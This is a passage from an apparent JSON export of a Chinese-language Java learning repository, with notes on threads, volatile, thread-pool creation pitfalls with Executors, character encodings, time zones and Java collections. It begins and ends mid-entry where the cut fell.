    "content": "在多线程操作系统中，通常是在一个进程中包括多个线程，每个线程都是作为利用CPU的基本单位，是花费最小开销的实体。线程具有以下属性。\n\n## 轻型实体\n\n线程中的实体基本上不拥有系统资源，只是有一点必不可少的、能保证独立运行的资源。 线程的实体包括程序、数据和TCB。线程是动态概念，它的动态特性由线程控制块TCB（Thread Control Block）描述。TCB包括以下信息： （1）线程状态。 （2）当线程不运行时，被保存的现场资源。 （3）一组执行堆栈。 （4）存放每个线程的局部变量主存区。 （5）访问同一个进程中的主存和其它资源。 用于指示被执行指令序列的程序计数器、保留局部变量、少数状态参数和返回地址等的一组寄存器和堆栈。\n\n## 独立调度和分派的基本单位。\n\n在多线程操作系统中，线程是能独立运行的基本单位，因而也是独立调度和分派的基本单位。由于线程很“轻”，故线程的切换非常迅速且开销小（在同一进程中的）。\n\n## 可并发执行。\n\n在一个进程中的多个线程之间，可以并发执行，甚至允许在一个进程中所有线程都能并发执行；同样，不同进程中的线程也能并发执行，充分利用和发挥了处理机与外围设备并行工作的能力。\n\n## 共享进程资源。\n\n在同一进程中的各个线程，都可以共享该进程所拥有的资源，这首先表现在：所有线程都具有相同的地址空间（进程的地址空间），这意味着，线程可以访问该地址空间的每一个虚地址；此外，还可以访问进程所拥有的已打开文件、定时器、信号量机构等。由于同一个进程内的线程共享内存和文件，所以线程之间互相通信不必调用内核。\n"
  },
  {
    "path": "docs/basics/concurrent-coding/volatile.md",
    "content": "在[再有人问你Java内存模型是什么，就把这篇文章发给他][1]中我们曾经介绍过，Java语言为了解决并发编程中存在的原子性、可见性和有序性问题，提供了一系列和并发处理相关的关键字，比如`synchronized`、`volatile`、`final`、`concurren包`等。在[前一篇][2]文章中，我们也介绍了`synchronized`的用法及原理。本文，来分析一下另外一个关键字——`volatile`。\n\n本文就围绕`volatile`展开，主要介绍`volatile`的用法、`volatile`的原理，以及`volatile`是如何提供可见性和有序性保障的等。\n\n`volatile`这个关键字，不仅仅在Java语言中有，在很多语言中都有的，而且其用法和语义也都是不尽相同的。尤其在C语言、C++以及Java中，都有`volatile`关键字。都可以用来声明变量或者对象。下面简单来介绍一下Java语言中的`volatile`关键字。\n\n### volatile的用法\n\n`volatile`通常被比喻成\"轻量级的`synchronized`\"，也是Java并发编程中比较重要的一个关键字。和`synchronized`不同，`volatile`是一个变量修饰符，只能用来修饰变量。无法修饰方法及代码块等。\n\n`volatile`的用法比较简单，只需要在声明一个可能被多线程同时访问的变量时，使用`volatile`修饰就可以了。\n\n    public class Singleton {  \n        private volatile static Singleton singleton;  \n        private Singleton (){}  \n        public static Singleton getSingleton() {  \n        if (singleton == null) {  \n            synchronized (Singleton.class) {  \n            if (singleton == null) {  \n                singleton = new Singleton();  \n            }  \n            }  \n        }  \n        return singleton;  \n        }  \n    }  \n\n\n如以上代码，是一个比较典型的使用双重锁校验的形式实现单例的，其中使用`volatile`关键字修饰可能被多个线程同时访问到的singleton。\n\n### volatile的原理\n\n在[再有人问你Java内存模型是什么，就把这篇文章发给他][1]中我们曾经介绍过，为了提高处理器的执行速度，在处理器和内存之间增加了多级缓存来提升。但是由于引入了多级缓存，就存在缓存数据不一致问题。\n\n但是，对于`volatile`变量，当对`volatile`变量进行写操作的时候，JVM会向处理器发送一条lock前缀的指令，将这个缓存中的变量回写到系统主存中。\n\n但是就算写回到内存，如果其他处理器缓存的值还是旧的，再执行计算操作就会有问题，所以在多处理器下，为了保证各个处理器的缓存是一致的，就会实现`缓存一致性协议`\n\n**缓存一致性协议**：每个处理器通过嗅探在总线上传播的数据来检查自己缓存的值是不是过期了，当处理器发现自己缓存行对应的内存地址被修改，就会将当前处理器的缓存行设置成无效状态，当处理器要对这个数据进行修改操作的时候，会强制重新从系统内存里把数据读到处理器缓存里。\n\n所以，如果一个变量被`volatile`所修饰的话，在每次数据变化之后，其值都会被强制刷入主存。而其他处理器的缓存由于遵守了缓存一致性协议，也会把这个变量的值从主存加载到自己的缓存中。这就保证了一个`volatile`在并发编程中，其值在多个缓存中是可见的。\n\n### volatile与可见性\n\n可见性是指当多个线程访问同一个变量时，一个线程修改了这个变量的值，其他线程能够立即看得到修改的值。\n\n我们在[再有人问你Java内存模型是什么，就把这篇文章发给他][1]中分析过：Java内存模型规定了所有的变量都存储在主内存中，每条线程还有自己的工作内存，线程的工作内存中保存了该线程中使用到的变量的主内存副本拷贝，线程对变量的所有操作都必须在工作内存中进行，而不能直接读写主内存。不同的线程之间也无法直接访问对方工作内存中的变量，线程间变量的传递均需要自己的工作内存和主存之间进行数据同步进行。所以，就可能出现线程1改了某个变量的值，但是线程2不可见的情况。\n\n前面的关于`volatile`的原理中介绍过了，Java中的`volatile`关键字提供了一个功能，那就是被其修饰的变量在被修改后可以立即同步到主内存，被其修饰的变量在每次使用之前都从主内存刷新。因此，可以使用`volatile`来保证多线程操作时变量的可见性。\n\n### volatile与有序性\n\n有序性即程序执行的顺序按照代码的先后顺序执行。\n\n我们在[再有人问你Java内存模型是什么，就把这篇文章发给他][1]中分析过：除了引入了时间片以外，由于处理器优化和指令重排等，CPU还可能对输入代码进行乱序执行，比如`load->add->save` 有可能被优化成`load->save->add` 。这就是可能存在有序性问题。\n\n而`volatile`除了可以保证数据的可见性之外，还有一个强大的功能，那就是他可以禁止指令重排优化等。\n\n普通的变量仅仅会保证在该方法的执行过程中所依赖的赋值结果的地方都能获得正确的结果，而不能保证变量的赋值操作的顺序与程序代码中的执行顺序一致。\n\nvolatile可以禁止指令重排，这就保证了代码的程序会严格按照代码的先后顺序执行。这就保证了有序性。被`volatile`修饰的变量的操作，会严格按照代码顺序执行，`load->add->save` 的执行顺序就是：load、add、save。\n\n### volatile与原子性\n\n原子性是指一个操作是不可中断的，要全部执行完成，要不就都不执行。\n\n我们在[Java的并发编程中的多线程问题到底是怎么回事儿？][3]中分析过：线程是CPU调度的基本单位。CPU有时间片的概念，会根据不同的调度算法进行线程调度。当一个线程获得时间片之后开始执行，在时间片耗尽之后，就会失去CPU使用权。所以在多线程场景下，由于时间片在线程间轮换，就会发生原子性问题。\n\n在上一篇文章中，我们介绍`synchronized`的时候，提到过，为了保证原子性，需要通过字节码指令`monitorenter`和`monitorexit`，但是`volatile`和这两个指令之间是没有任何关系的。\n\n**所以，`volatile`是不能保证原子性的。**\n\n在以下两个场景中可以使用`volatile`来代替`synchronized`：\n\n> 1、运算结果并不依赖变量的当前值，或者能够确保只有单一的线程会修改变量的值。\n> \n> 2、变量不需要与其他状态变量共同参与不变约束。\n\n除以上场景外，都需要使用其他方式来保证原子性，如`synchronized`或者`concurrent包`。\n\n我们来看一下volatile和原子性的例子：\n\n    public class Test {\n        public volatile int inc = 0;\n    \n        public void increase() {\n            inc++;\n        }\n    \n        public static void main(String[] args) {\n            final Test test = new Test();\n            for(int i=0;i<10;i++){\n                new Thread(){\n                    public void run() {\n                        for(int j=0;j<1000;j++)\n                            test.increase();\n                    };\n                }.start();\n            }\n    \n            while(Thread.activeCount()>1)  //保证前面的线程都执行完\n                Thread.yield();\n            System.out.println(test.inc);\n        }\n    }\n\n\n以上代码比较简单，就是创建10个线程，然后分别执行1000次`i++`操作。正常情况下，程序的输出结果应该是10000，但是，多次执行的结果都小于10000。这其实就是`volatile`无法满足原子性的原因。\n\n为什么会出现这种情况呢，那就是因为虽然volatile可以保证`inc`在多个线程之间的可见性。但是无法`inc++`的原子性。\n\n### 总结与思考\n\n我们介绍过了`volatile`关键字和`synchronized`关键字。现在我们知道，`synchronized`可以保证原子性、有序性和可见性。而`volatile`却只能保证有序性和可见性。\n\n那么，我们再来看一下双重校验锁实现的单例，已经使用了`synchronized`，为什么还需要`volatile`？\n\n    public class Singleton {  \n        private volatile static Singleton singleton;  \n        private Singleton (){}  \n        public static Singleton getSingleton() {  \n        if (singleton == null) {  \n            synchronized (Singleton.class) {  \n            if (singleton == null) {  \n                singleton = new Singleton();  \n            }  \n            }  \n        }  \n        return singleton;  \n        }  \n    }  \n\n\n答案，我们在下一篇文章：既生synchronized，何生亮volatile中介绍，敬请关注我的博客(http://47.103.216.138)和公众号(Hollis)。\n\n[1]: http://47.103.216.138/archives/2550\n[2]: http://47.103.216.138/archives/2637\n[3]: http://47.103.216.138/archives/2618"
  },
  {
    "path": "docs/basics/concurrent-coding/why-not-executors.md",
    "content": "在《[深入源码分析Java线程池的实现原理][1]》这篇文章中，我们介绍过了Java中线程池的常见用法以及基本原理。\n\n在文中有这样一段描述：\n\n> 可以通过Executors静态工厂构建线程池，但一般不建议这样使用。\n\n关于这个问题，在那篇文章中并没有深入的展开。作者之所以这么说，是因为这种创建线程池的方式有很大的隐患，稍有不慎就有可能导致线上故障，如：一次Java线程池误用引发的血案和总结（ <https://zhuanlan.zhihu.com/p/32867181> ）\n\n本文我们就来围绕这个问题来分析一下为什么JDK自身提供的构建线程池的方式并不建议使用？到底应该如何创建一个线程池呢？\n\n### Executors\n\nExecutors 是一个Java中的工具类。提供工厂方法来创建不同类型的线程池。\n\n![][2]￼\n\n从上图中也可以看出，Executors的创建线程池的方法，创建出来的线程池都实现了ExecutorService接口。常用方法有以下几个：\n\n`newFiexedThreadPool(int Threads)`：创建固定数目线程的线程池。\n\n`newCachedThreadPool()`：创建一个可缓存的线程池，调用execute 将重用以前构造的线程（如果线程可用）。如果没有可用的线程，则创建一个新线程并添加到池中。终止并从缓存中移除那些已有 60 秒钟未被使用的线程。\n\n`newSingleThreadExecutor()`创建一个单线程化的Executor。\n\n`newScheduledThreadPool(int corePoolSize)`创建一个支持定时及周期性的任务执行的线程池，多数情况下可用来替代Timer类。\n\n类看起来功能还是比较强大的，又用到了工厂模式、又有比较强的扩展性，重要的是用起来还比较方便，如：\n\n<pre><code class=\"language-text\">ExecutorService executor = Executors.newFixedThreadPool(nThreads) ;\n</code></pre>\n\n即可创建一个固定大小的线程池。\n\n但是为什么我说不建议大家使用这个类来创建线程池呢？\n\n我提到的是『不建议』，但是在阿里巴巴Java开发手册中也明确指出，而且用的词是『不允许』使用Executors创建线程池。\n<img src=\"http://www.hollischuang.com/wp-content/uploads/2018/10/15406254121131.jpg\" alt=\"\" style=\"width:1177px\" />￼\n\n### Executors存在什么问题\n\n在阿里巴巴Java开发手册中提到，使用Executors创建线程池可能会导致OOM(OutOfMemory ,内存溢出)，但是并没有说明为什么，那么接下来我们就来看一下到底为什么不允许使用Executors？\n\n我们先来一个简单的例子，模拟一下使用Executors导致OOM的情况。\n\n<pre><code class=\"language-text\">/**\n * @author Hollis\n */\npublic class ExecutorsDemo {\n    private static ExecutorService executor = Executors.newFixedThreadPool(15);\n    public static void main(String[] args) {\n        for (int i = 0; i &lt; Integer.MAX_VALUE; i++) {\n            executor.execute(new SubThread());\n        }\n    }\n}\n\nclass SubThread implements Runnable {\n    @Override\n    public void run() {\n        try {\n            Thread.sleep(10000);\n        } catch (InterruptedException e) {\n            //do nothing\n        }\n    }\n}\n</code></pre>\n\n通过指定JVM参数：`-Xmx8m -Xms8m` 运行以上代码，会抛出OOM:\n\n<pre><code class=\"language-text\">Exception in thread \"main\" java.lang.OutOfMemoryError: GC overhead limit exceeded\n    at java.util.concurrent.LinkedBlockingQueue.offer(LinkedBlockingQueue.java:416)\n    at java.util.concurrent.ThreadPoolExecutor.execute(ThreadPoolExecutor.java:1371)\n    at com.hollis.ExecutorsDemo.main(ExecutorsDemo.java:16)\n</code></pre>\n\n以上代码指出，`ExecutorsDemo.java`的第16行，就是代码中的`executor.execute(new SubThread());`。\n\n### Executors为什么存在缺陷\n\n通过上面的例子，我们知道了`Executors`创建的线程池存在OOM的风险，那么到底是什么原因导致的呢？我们需要深入`Executors`的源码来分析一下。\n\n其实，在上面的报错信息中，我们是可以看出蛛丝马迹的，在以上的代码中其实已经说了，真正的导致OOM的其实是`LinkedBlockingQueue.offer`方法。\n\n<pre><code class=\"language-text\">Exception in thread \"main\" java.lang.OutOfMemoryError: GC overhead limit exceeded\n    at java.util.concurrent.LinkedBlockingQueue.offer(LinkedBlockingQueue.java:416)\n    at java.util.concurrent.ThreadPoolExecutor.execute(ThreadPoolExecutor.java:1371)\n    at com.hollis.ExecutorsDemo.main(ExecutorsDemo.java:16)\n</code></pre>\n\n如果读者翻看代码的话，也可以发现，其实底层确实是通过`LinkedBlockingQueue`实现的：\n\n<pre><code class=\"language-text\">public static ExecutorService newFixedThreadPool(int nThreads) {\n        return new ThreadPoolExecutor(nThreads, nThreads,\n                                      0L, TimeUnit.MILLISECONDS,\n                                      new LinkedBlockingQueue&lt;Runnable&gt;());\n</code></pre>\n\n如果读者对Java中的阻塞队列有所了解的话，看到这里或许就能够明白原因了。\n\nJava中的`BlockingQueue`主要有两种实现，分别是`ArrayBlockingQueue` 和 `LinkedBlockingQueue`。\n\n`ArrayBlockingQueue`是一个用数组实现的有界阻塞队列，必须设置容量。\n\n`LinkedBlockingQueue`是一个用链表实现的有界阻塞队列，容量可以选择进行设置，不设置的话，将是一个无边界的阻塞队列，最大长度为`Integer.MAX_VALUE`。\n\n这里的问题就出在：**不设置的话，将是一个无边界的阻塞队列，最大长度为Integer.MAX_VALUE。**也就是说，如果我们不设置`LinkedBlockingQueue`的容量的话，其默认容量将会是`Integer.MAX_VALUE`。\n\n而`newFixedThreadPool`中创建`LinkedBlockingQueue`时，并未指定容量。此时，`LinkedBlockingQueue`就是一个无边界队列，对于一个无边界队列来说，是可以不断的向队列中加入任务的，这种情况下就有可能因为任务过多而导致内存溢出问题。\n\n上面提到的问题主要体现在`newFixedThreadPool`和`newSingleThreadExecutor`两个工厂方法上，并不是说`newCachedThreadPool`和`newScheduledThreadPool`这两个方法就安全了，这两种方式创建的最大线程数可能是`Integer.MAX_VALUE`，而创建这么多线程，必然就有可能导致OOM。\n\n### 创建线程池的正确姿势\n\n避免使用Executors创建线程池，主要是避免使用其中的默认实现，那么我们可以自己直接调用`ThreadPoolExecutor`的构造函数来自己创建线程池。在创建的同时，给`BlockQueue`指定容量就可以了。\n\n<pre><code class=\"language-text\">private static ExecutorService executor = new ThreadPoolExecutor(10, 10,\n        60L, TimeUnit.SECONDS,\n        new ArrayBlockingQueue(10));\n</code></pre>\n\n这种情况下，一旦提交的线程数超过当前可用线程数时，就会抛出`java.util.concurrent.RejectedExecutionException`，这是因为当前线程池使用的队列是有边界队列，队列已经满了便无法继续处理新的请求。但是异常（Exception）总比发生错误（Error）要好。\n\n除了自己定义`ThreadPoolExecutor`外。还有其他方法。这个时候第一时间就应该想到开源类库，如apache和guava等。\n\n作者推荐使用guava提供的ThreadFactoryBuilder来创建线程池。\n\n<pre><code class=\"language-text\">public class ExecutorsDemo {\n\n    private static ThreadFactory namedThreadFactory = new ThreadFactoryBuilder()\n        .setNameFormat(\"demo-pool-%d\").build();\n\n    private static ExecutorService pool = new ThreadPoolExecutor(5, 200,\n        0L, TimeUnit.MILLISECONDS,\n        new LinkedBlockingQueue&lt;Runnable&gt;(1024), namedThreadFactory, new ThreadPoolExecutor.AbortPolicy());\n\n    public static void main(String[] args) {\n\n        for (int i = 0; i &lt; Integer.MAX_VALUE; i++) {\n            pool.execute(new SubThread());\n        }\n    }\n}\n</code></pre>\n\n通过上述方式创建线程时，不仅可以避免OOM的问题，还可以自定义线程名称，更加方便的出错的时候溯源。\n\n思考题，文中作者说：发生异常（Exception）要比发生错误（Error）好，为什么这么说？\n\n文中提到的《阿里巴巴Java开发手册》，请关注公众号Hollis，回复：手册。即可获得完整版PDF。\n\n [1]: https://mp.weixin.qq.com/s/-89-CcDnSLBYy3THmcLEdQ\n [2]: http://www.hollischuang.com/wp-content/uploads/2018/10/15406248096737.jpg"
  },
  {
    "path": "docs/basics/java-basic/ASCII.md",
    "content": "ASCII（ American Standard Code for InformationInterchange， 美国信息交换标准代码） 是基于拉丁字母的⼀套电脑编码系统， 主要⽤于显⽰现代英语和其他西欧语⾔。 \n\n它是现今最通⽤的单字节编码系统， 并等同于国际标准ISO/IEC646。\n\n标准ASCII 码也叫基础ASCII码， 使⽤7 位⼆进制数（ 剩下的1位⼆进制为0） 来表⽰所有的⼤写和⼩写字母， 数字0 到9、 标点符号， 以及在美式英语中使⽤的特殊控制字符。\n\n\n其中：\n\n0～31及127(共33个)是控制字符或通信专⽤字符（ 其余为可显⽰字符） ， 如控制符： LF（ 换⾏） 、 CR（ 回车） 、 FF（ 换页） 、 DEL（ 删除） 、 BS（ 退格)、 BEL（ 响铃） 等； 通信专⽤字符： SOH（ ⽂头） 、 EOT（ ⽂尾） 、 ACK（ 确认） 等；\n\nASCII值为8、 9、 10 和13 分别转换为退格、 制表、 换⾏和回车字符。 它们并没有特定的图形显⽰， 但会依不同的应⽤程序，⽽对⽂本显⽰有不同的影响\n\n32～126(共95个)是字符(32是空格） ， 其中48～57为0到9⼗个阿拉伯数字。\n\n65～90为26个⼤写英⽂字母， 97～122号为26个⼩写英⽂字母， 其余为⼀些标点符号、 运算符号等。"
  },
  {
    "path": "docs/basics/java-basic/Arrays-asList.md",
    "content": "1. asList 得到的只是一个 Arrays 的内部类，一个原来数组的视图 List，因此如果对它进行增删操作会报错\n\n2. 用 ArrayList 的构造器可以将其转变成真正的 ArrayList"
  },
  {
    "path": "docs/basics/java-basic/CET-UTC-GMT-CST.md",
    "content": "### CET\n欧洲中部时间（英語：Central European Time，CET）是比世界标准时间（UTC）早一个小时的时区名称之一。它被大部分欧洲国家和部分北非国家采用。冬季时间为UTC+1，夏季欧洲夏令时为UTC+2。\n\n\n### UTC\n协调世界时，又称世界标准时间或世界协调时间，简称UTC，从英文“Coordinated Universal Time”／法文“Temps Universel Cordonné”而来。台湾采用CNS 7648的《资料元及交换格式–资讯交换–日期及时间的表示法》（与ISO 8601类似）称之为世界统一时间。中国大陆采用ISO 8601-1988的国标《数据元和交换格式信息交换日期和时间表示法》（GB/T 7408）中称之为国际协调时间。协调世界时是以原子时秒长为基础，在时刻上尽量接近于世界时的一种时间计量系统。\n\n### GMT\n格林尼治标准时间（旧译格林尼治平均时间或格林威治标准时间；英语：Greenwich Mean Time，GMT）是指位于英国伦敦郊区的皇家格林尼治天文台的标准时间，因为本初子午线被定义在通过那里的经线。\n\n\n### CST\n北京时间，China Standard Time，又名中国标准时间，是中国的标准时间。在时区划分上，属东八区，比协调世界时早8小时，记为UTC+8，与中华民国国家标准时间（旧称“中原标准时间”）、香港时间和澳门时间和相同。當格林威治時間為凌晨0:00時，中國標準時間剛好為上午8:00。\n\n\n### 关系\n\nCET=UTC/GMT + 1小时\n\nCST=UTC/GMT +8 小时\n\nCST=CET + 7 小时\n"
  },
  {
    "path": "docs/basics/java-basic/Class.md",
    "content": "Java的Class类是java反射机制的基础,通过Class类我们可以获得关于一个类的相关信息\n\nJava.lang.Class是一个比较特殊的类，它用于封装被装入到JVM中的类（包括类和接口）的信息。当一个类或接口被装入的JVM时便会产生一个与之关联的java.lang.Class对象，可以通过这个Class对象对被装入类的详细信息进行访问。\n\n虚拟机为每种类型管理一个独一无二的Class对象。也就是说，每个类（型）都有一个Class对象。运行程序时，Java虚拟机(JVM)首先检查是否所要加载的类对应的Class对象是否已经加载。如果没有加载，JVM就会根据类名查找.class文件，并将其Class对象载入。"
  },
  {
    "path": "docs/basics/java-basic/Collection-vs-Collections.md",
    "content": "Collection 是一个集合接口。 \n它提供了对集合对象进行基本操作的通用接口方法。Collection接口在Java 类库中有很多具体的实现。是list，set等的父接口。\n\nCollections 是一个包装类。 \n它包含有各种有关集合操作的静态多态方法。此类不能实例化，就像一个工具类，服务于Java的Collection框架。\n\n日常开发中，不仅要了解Java中的Collection及其子类的用法，还要了解Collections用法。可以提升很多处理集合类的效率。"
  },
  {
    "path": "docs/basics/java-basic/ConcurrentSkipListMap.md",
    "content": "ConcurrentSkipListMap是一个内部使用跳表，并且支持排序和并发的一个Map，是线程安全的。一般很少会被用到，也是一个比较偏门的数据结构。\n\n简单介绍下跳表\n\n    跳表是一种允许在一个有顺序的序列中进行快速查询的数据结构。\n\n    在普通的顺序链表中查询一个元素，需要从链表头部开始一个一个节点进行遍历，然后找到节点。如图1。\n\n    跳表可以解决这种查询时间过长，其元素遍历的图示如图2，跳表是一种使用”空间换时间”的概念用来提高查询效率的链表。\n\n\n\nConcurrentSkipListMap 和 ConcurrentHashMap 的主要区别：\na.底层实现方式不同。ConcurrentSkipListMap底层基于跳表。ConcurrentHashMap底层基于Hash桶和红黑树。\nb.ConcurrentHashMap不支持排序。ConcurrentSkipListMap支持排序。\n"
  },
  {
    "path": "docs/basics/java-basic/CopyOnWriteArrayList.md",
    "content": "Copy-On-Write简称COW，是一种用于程序设计中的优化策略。其基本思路是，从一开始大家都在共享同一个内容，当某个人想要修改这个内容的时候，才会真正把内容Copy出去形成一个新的内容然后再改，这是一种延时懒惰策略。从JDK1.5开始Java并发包里提供了两个使用CopyOnWrite机制实现的并发容器,它们是CopyOnWriteArrayList和CopyOnWriteArraySet。CopyOnWrite容器非常有用，可以在非常多的并发场景中使用到。\n\nCopyOnWriteArrayList相当于线程安全的ArrayList，CopyOnWriteArrayList使用了一种叫写时复制的方法，当有新元素add到CopyOnWriteArrayList时，先从原有的数组中拷贝一份出来，然后在新的数组做写操作，写完之后，再将原来的数组引用指向到新数组。\n\n这样做的好处是我们可以对CopyOnWrite容器进行并发的读，而不需要加锁，因为当前容器不会添加任何元素。所以CopyOnWrite容器也是一种读写分离的思想，读和写不同的容器。\n\n注意：CopyOnWriteArrayList的整个add操作都是在锁的保护下进行的。也就是说add方法是线程安全的。\n\nCopyOnWrite并发容器用于读多写少的并发场景。比如白名单，黑名单，商品类目的访问和更新场景。\n\n\n和ArrayList不同的是，它具有以下特性：\n\n支持高效率并发且是线程安全的\n因为通常需要复制整个基础数组，所以可变操作（add()、set() 和 remove() 等等）的开销很大\n迭代器支持hasNext(), next()等不可变操作，但不支持可变 remove()等操作\n使用迭代器进行遍历的速度很快，并且不会与其他线程发生冲突。在构造迭代器时，迭代器依赖于不变的数组快照\n\n"
  },
  {
    "path": "docs/basics/java-basic/Enumeration-vs-Iterator.md",
    "content": "函数接口不同\n\n        Enumeration只有2个函数接口。通过Enumeration，我们只能读取集合的数据，而不能对数据进行修改。\n        Iterator只有3个函数接口。Iterator除了能读取集合的数据之外，也能数据进行删除操作。\n\nIterator支持fail-fast机制，而Enumeration不支持。\n\n        Enumeration 是JDK 1.0添加的接口。使用到它的函数包括Vector、Hashtable等类，这些类都是JDK 1.0中加入的，Enumeration存在的目的就是为它们提供遍历接口。Enumeration本身并没有支持同步，而在Vector、Hashtable实现Enumeration时，添加了同步。\n        而Iterator 是JDK 1.2才添加的接口，它也是为了HashMap、ArrayList等集合提供遍历接口。Iterator是支持fail-fast机制的：当多个线程对同一个集合的内容进行操作时，就可能会产生fail-fast事件。\n\n注意：Enumeration迭代器只能遍历Vector、Hashtable这种古老的集合，因此通常不要使用它，除非在某些极端情况下，不得不使用Enumeration，否则都应该选择Iterator迭代器。"
  },
  {
    "path": "docs/basics/java-basic/GMT.md",
    "content": "格林尼治平时（英语：Greenwich Mean Time，GMT）是指位于英国伦敦郊区的皇家格林尼治天文台当地的平太阳时，因为本初子午线被定义为通过那里的经线。\n\n自1924年2月5日开始，格林尼治天文台负责每隔一小时向全世界发放调时信息。\n\n格林尼治平时的正午是指当平太阳横穿格林尼治子午线时（也就是在格林尼治上空最高点时）的时间。由于地球每天的自转是有些不规则的，而且正在缓慢减速，因此格林尼治平时基于天文观测本身的缺陷，已经被原子钟报时的协调世界时（UTC）所取代。\n\n一般使用GMT+8表示中国的时间，是因为中国位于东八区，时间上比格林威治时间快8个小时。"
  },
  {
    "path": "docs/basics/java-basic/HashMap-HashTable-ConcurrentHashMap.md",
    "content": "### HashMap和HashTable有何不同？\n\n\n线程安全：\n\nHashTable 中的方法是同步的，而HashMap中的方法在默认情况下是非同步的。在多线程并发的环境下，可以直接使用HashTable，但是要使用HashMap的话就要自己增加同步处理了。\n\n继承关系：\nHashTable是基于陈旧的Dictionary类继承来的。\nHashMap继承的抽象类AbstractMap实现了Map接口。\n\n\n允不允许null值：\nHashTable中，key和value都不允许出现null值，否则会抛出NullPointerException异常。\nHashMap中，null可以作为键，这样的键只有一个；可以有一个或多个键所对应的值为null。\n\n\n默认初始容量和扩容机制：\nHashTable中的hash数组初始大小是11，增加的方式是 old*2+1。HashMap中hash数组的默认大小是16，而且一定是2的指数。原因参考全网把Map中的hash()分析的最透彻的文章，别无二家。-HollisChuang's Blog\n\n哈希值的使用不同 ：\nHashTable直接使用对象的hashCode。\nHashMap重新计算hash值。\n\n\n遍历方式的内部实现上不同 ：\nHashtable、HashMap都使用了 Iterator。而由于历史原因，Hashtable还使用了Enumeration的方式 。\nHashMap 实现 Iterator，支持fast-fail，Hashtable的 Iterator 遍历支持fast-fail，用 Enumeration 不支持 fast-fail\n\n### HashMap 和 ConcurrentHashMap 的区别？\n\nConcurrentHashMap和HashMap的实现方式不一样，虽然都是使用桶数组实现的，但是还是有区别，ConcurrentHashMap对桶数组进行了分段，而HashMap并没有。\n\n\nConcurrentHashMap在每一个分段上都用锁进行了保护。HashMap没有锁机制。所以，前者线程安全的，后者不是线程安全的。\n\nPS：以上区别基于jdk1.8以前的版本。"
  },
  {
    "path": "docs/basics/java-basic/README.md",
    "content": "## To Be Top Javaer  -  Java工程师成神之路\n\n![](https://img.shields.io/badge/version-v2.0.0-green.svg) ![](https://img.shields.io/badge/author-Hollis-yellow.svg) ![](https://img.shields.io/badge/license-GPL-blue.svg)\n\n\n| 主要版本 | 更新时间       | 备注             |\n| ---- | ---------- | -------------- |\n| v1.0 | 2015-08-01 | 首次发布           |\n| v1.1 | 2018-03-12 | 增加新技术知识、完善知识体系 |\n| v2.0 | 2019-02-19 | 结构调整，更适合从入门到精通；<br>进一步完善知识体系； <br>新技术补充；|\n\nJava 基础"
  },
  {
    "path": "docs/basics/java-basic/Runtime-Constant-Pool.md",
    "content": "运行时常量池（ Runtime Constant Pool）是每一个类或接口的常量池（ Constant_Pool）的运行时表示形式。\n\n它包括了若干种不同的常量：从编译期可知的数值字面量到必须运行期解析后才能获得的方法或字段引用。运行时常量池扮演了类似传统语言中符号表（ SymbolTable）的角色，不过它存储数据范围比通常意义上的符号表要更为广泛。\n\n每一个运行时常量池都分配在 Java 虚拟机的方法区之中，在类和接口被加载到虚拟机后，对应的运行时常量池就被创建出来。\n\n以上，是Java虚拟机规范中关于运行时常量池的定义。\n\n### 运行时常量池在JDK各个版本中的实现\n\n根据Java虚拟机规范约定：每一个运行时常量池都在Java虚拟机的方法区中分配，在加载类和接口到虚拟机后，就创建对应的运行时常量池。\n\n在不同版本的JDK中，运行时常量池所处的位置也不一样。以HotSpot为例：\n\n在JDK 1.7之前，方法区位于堆内存的永久代中，运行时常量池作为方法区的一部分，也处于永久代中。\n\n因为使用永久代实现方法区可能导致内存泄露问题，所以，从JDK1.7开始，JVM尝试解决这一问题，在1.7中，将原本位于永久代中的运行时常量池移动到堆内存中。（永久代在JDK 1.7并没有完全移除，只是原来方法区中的运行时常量池、类的静态变量等移动到了堆内存中。）\n\n在JDK 1.8中，彻底移除了永久代，方法区通过元空间的方式实现。随之，运行时常量池也在元空间中实现。\n\n### 运行时常量池中常量的来源\n\n运行时常量池中包含了若干种不同的常量：\n\n编译期可知的字面量和符号引用（来自Class常量池）\n运行期解析后可获得的常量（如String的intern方法）\n\n所以，运行时常量池中的内容包含：Class常量池中的常量、字符串常量池中的内容\n\n### 运行时常量池、Class常量池、字符串常量池的区别与联系\n\n\n虚拟机启动过程中，会将各个Class文件中的常量池载入到运行时常量池中。\n\n所以， Class常量池只是一个媒介场所。在JVM真的运行时，需要把常量池中的常量加载到内存中，进入到运行时常量池。\n\n字符串常量池可以理解为运行时常量池分出来的部分。加载时，对于class的静态常量池，如果字符串会被装到字符串常量池中。"
  },
  {
    "path": "docs/basics/java-basic/StandardTime-vs-daylightSavingTime.md",
    "content": "夏令时、冬令时的出现，是为了充分利用夏天的日照，所以时钟要往前拨快一小时，冬天再把表往回拨一小时。其中夏令时从3月第二个周日持续到11月第一个周日。\n\n冬令时：\n北京和洛杉矶时差：16\n北京和纽约时差：13\n\n夏令时：\n北京和洛杉矶时差：15\n北京和纽约时差：12\n"
  },
  {
    "path": "docs/basics/java-basic/UNICODE.md",
    "content": "ASCII码，只有256个字符，美国人倒是没啥问题了，他们用到的字符几乎都包括了，但是世界上不只有美国程序员啊，所以需要一种更加全面的字符集。\n\nUnicode（中文：万国码、国际码、统一码、单一码）是计算机科学领域里的一项业界标准。它对世界上大部分的文字系统进行了整理、编码，使得计算机可以用更为简单的方式来呈现和处理文字。\n\nUnicode伴随着通用字符集的标准而发展，同时也以书本的形式对外发表。Unicode至今仍在不断增修，每个新版本都加入更多新的字符。目前最新的版本为2018年6月5日公布的11.0.0，已经收录超过13万个字符（第十万个字符在2005年获采纳）。Unicode涵盖的数据除了视觉上的字形、编码方法、标准的字符编码外，还包含了字符特性，如大小写字母。\n\nUnicode发展由非营利机构统一码联盟负责，该机构致力于让Unicode方案取代既有的字符编码方案。因为既有的方案往往空间非常有限，亦不适用于多语环境。\n\nUnicode备受认可，并广泛地应用于计算机软件的国际化与本地化过程。有很多新科技，如可扩展置标语言（Extensible Markup Language，简称：XML）、Java编程语言以及现代的操作系统，都采用Unicode编码。\n\nUnicode可以表示中文。"
  },
  {
    "path": "docs/basics/java-basic/UTF8-UTF16-UTF32.md",
